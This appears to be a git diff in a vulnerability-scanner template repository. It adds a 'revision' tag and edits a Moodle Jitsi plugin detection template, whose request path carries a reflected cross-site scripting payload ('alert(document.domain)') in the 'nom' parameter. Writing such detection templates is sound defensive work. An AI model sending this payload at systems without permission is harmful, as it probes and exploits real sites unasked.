template update
parent
6b7cc89a97
commit
b36ec072d6
|
@ -13,6 +13,7 @@ tags:
|
|||
- "iot"
|
||||
- "misc"
|
||||
- "fuzz"
|
||||
- "revision"
|
||||
|
||||
# files is a list of files to ignore template execution
|
||||
# unless asked for by the user.
|
|
@ -5,13 +5,13 @@ info:
|
|||
author: aceseven (digisec360)
|
||||
description: Cross-site Scripting in moodle jitsi plugin
|
||||
severity: medium
|
||||
tags: moodle,jitsi,xss
|
||||
tags: moodle,jitsi,xss,revision
|
||||
reference: https://github.com/udima-university/moodle-mod_jitsi/issues/67
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2Ftargetdomain.com%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
|
||||
- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
|
Loading…
Reference in New Issue